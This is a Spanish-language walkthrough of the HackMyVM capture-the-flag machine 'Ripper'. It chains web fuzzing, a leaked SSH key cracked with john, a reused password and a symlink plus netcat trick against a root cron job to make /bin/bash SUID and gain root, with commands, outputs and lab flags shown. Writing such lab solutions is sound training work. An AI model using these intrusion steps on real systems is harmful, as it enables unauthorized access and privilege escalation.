Ripper HackMyVM (Easy- Linux)

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-14 03:34 EDT
Nmap scan report for 192.168.1.175
Host is up (0.00038s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 0c:3f:13:54:6e:6e:e6:56:d2:91:eb:ad:95:36:c6:8d (RSA)
|   256 9b:e6:8e:14:39:7a:17:a3:80:88:cd:77:2e:c3:3b:1a (ECDSA)
|_  256 85:5a:05:2a:4b:c0:b2:36:ea:8a:e2:8a:b2:ef:bc:df (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:34:61:07 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.58 seconds

Veremos que hay un puerto 80 que contiene una pagina web, por lo que si entramos veremos lo siguiente:

Website in maintenance... Come back next month please.

No veremos gran cosa por lo que vamos a realizar un poco de fuzzing:

Gobuster

gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 100 -k -r

Info:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.175/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 57]
/.html                (Status: 403) [Size: 278]
/.html                (Status: 403) [Size: 278]
/server-status        (Status: 403) [Size: 278]
/staff_statements.txt (Status: 200) [Size: 107]
Progress: 882240 / 882244 (100.00%)
===============================================================
Finished
===============================================================

Veremos una cosa bastante interesante que es /staff_statements.txt, vamos a ver que contiene:

The site is not yet repaired. Technicians are working on it by connecting with old ssh connection files.

Escalate user jack

Por lo que vemos nos esta dando una pista de que estan utilizando una clave PEM antigua para conectarse por SSH por lo que podemos creer que la extension es .bak vamos a probar a meter lo siguiente:

URL = http://<IP>/id_rsa.bak

Veremos que si ha funcionado, por lo que vamos a asignarle los permisos correctos al id_rsa:

chmod 600 id_rsa

Si recordamos antes cuando encendimos la maquina vimos que daba la bienvenida a un usuario llamado jack:

Por lo que vamos a probar a conectarnos por SSH de la siguiente forma:

ssh -i id_rsa jack@<IP>

Veremos que nos pide la clave de la id_rsa por lo que vamos a intentar crackearla.

Crack id_rsa con john

ssh2john id_rsa > hash.rsa
john --wordlist=<WORDLIST> hash.rsa

Info:

Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
bananas          (id_rsa)     
1g 0:00:00:46 DONE (2025-04-14 03:47) 0.02129g/s 20.44p/s 20.44c/s 20.44C/s whitney..sandy
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Veremos que ha funcionado, por lo que vamos a volver a conectarnos por SSH metiendo dicha contraseña:

SSH

ssh -i id_rsa jack@<IP>

Metemos como contraseña bananas y veremos que estaremos dentro.

Escalate user helder

Vamos a descargarnos el linpeas.sh para que nos enumere el sistema a ver que encuentra:

wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
bash linpeas.sh

Info:

Veremos que hay una contraseña de jack pero vamos a probarla para el usuario helder.

su helder

Metemos como contraseña Il0V3lipt0n1c3t3a y con esto veremos que si seremos dicho usuario, por lo que leeremos la flag del usuario.

user.txt

5c38d7d08c687355cb0ae3b6025cbe99

Escalate Privileges

Vamos a ver los procesos que se estan ejecutando en el servidor, por lo que nos vamos a descargar pspy64 en el siguiente link:

URL = Download pspy64

wget http://<IP>/pspy64
chmod +x pspy64
./pspy64

Info:

pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2025/04/14 10:04:10 CMD: UID=1001  PID=12759  | ./pspy64 
2025/04/14 10:04:10 CMD: UID=0     PID=12755  | 
2025/04/14 10:04:10 CMD: UID=1001  PID=12727  | bash 
2025/04/14 10:04:10 CMD: UID=0     PID=12726  | su helder 
2025/04/14 10:04:10 CMD: UID=0     PID=12710  | 
2025/04/14 10:04:10 CMD: UID=0     PID=871    | 
2025/04/14 10:04:10 CMD: UID=1000  PID=749    | -bash 
2025/04/14 10:04:10 CMD: UID=1000  PID=748    | sshd: jack@pts/0     
2025/04/14 10:04:10 CMD: UID=1000  PID=740    | (sd-pam) 
2025/04/14 10:04:10 CMD: UID=1000  PID=739    | /lib/systemd/systemd --user 
2025/04/14 10:04:10 CMD: UID=0     PID=736    | sshd: jack [priv]    
2025/04/14 10:04:10 CMD: UID=33    PID=611    | /usr/sbin/apache2 -k start 
2025/04/14 10:04:10 CMD: UID=0     PID=8      | 
2025/04/14 10:04:10 CMD: UID=0     PID=6      | 
2025/04/14 10:04:10 CMD: UID=0     PID=4      | 
2025/04/14 10:04:10 CMD: UID=0     PID=3      | 
2025/04/14 10:04:10 CMD: UID=0     PID=2      | 
2025/04/14 10:04:10 CMD: UID=0     PID=1      | /sbin/init 
2025/04/14 10:05:01 CMD: UID=0     PID=12766  | /usr/sbin/CRON -f 
2025/04/14 10:05:01 CMD: UID=0     PID=12767  | /usr/sbin/CRON -f 
2025/04/14 10:05:01 CMD: UID=0     PID=12768  | /bin/sh -c nc -vv -q 1 localhost 10000 > /root/.local/out && if [ "$(cat /root/.local/helder.txt)" = "$(cat /home/helder/passwd.txt)" ] ; then chmod +s "/usr/bin/$(cat /root/.local/out)" ; fi

Veremos que se esta realizando lo siguiente:

2025/04/14 10:05:01 CMD: UID=0     PID=12766  | /usr/sbin/CRON -f 
2025/04/14 10:05:01 CMD: UID=0     PID=12767  | /usr/sbin/CRON -f 
2025/04/14 10:05:01 CMD: UID=0     PID=12768  | /bin/sh -c nc -vv -q 1 localhost 10000 > /root/.local/out && if [ "$(cat /root/.local/helder.txt)" = "$(cat /home/helder/passwd.txt)" ] ; then chmod +s "/usr/bin/$(cat /root/.local/out)" ; fi

Vemos que esta leyendo root el passwd.txt de la carpeta de la home de nuestro usuario, pero como no existe y tambien vemos que hay un halder.txt en la carpeta de root vamos a crear un enlace simbolico hacia nuestra home de la siguiente forma:

ln -s /root/.local/helder.txt /home/helder/passwd.txt

Ahora si leemos passwd.txt veremos que no nos deja, pero tambien vemos que se esta ejecutando nc por el puerto 10000 mediante root pero tambien vemos que se esta estableciendo permisos SUID al out de la carpeta de root por lo que vamos a probar si podremos establecer los permisos a la bash enviandoselo por nc:

echo 'bash' | nc -lvnp 10000

Info:

listening on [any] 10000 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 44944

Veremos que hizo conexion, ahora vamos a ver los permisos de la bash a ver si ha funcionado.

ls -la /bin/bash

Info:

-rwsr-sr-x 1 root root 1168776 Apr 18  2019 /bin/bash

Veremos que ha funcionado por lo que haremos lo siguiente:

bash -p

Info:

helder@ripper:~$whoami
root
helder@ripper:~$id
uid=1001(helder) gid=1001(helder) euid=0(root) egid=0(root) groups=0(root),1001(helder)

Por lo que vemos ya tendremos los privilegios de root ahora leeremos la flag de root.

root.txt

e28f578a17a5f99c0381c4b689d96f9f

Last updated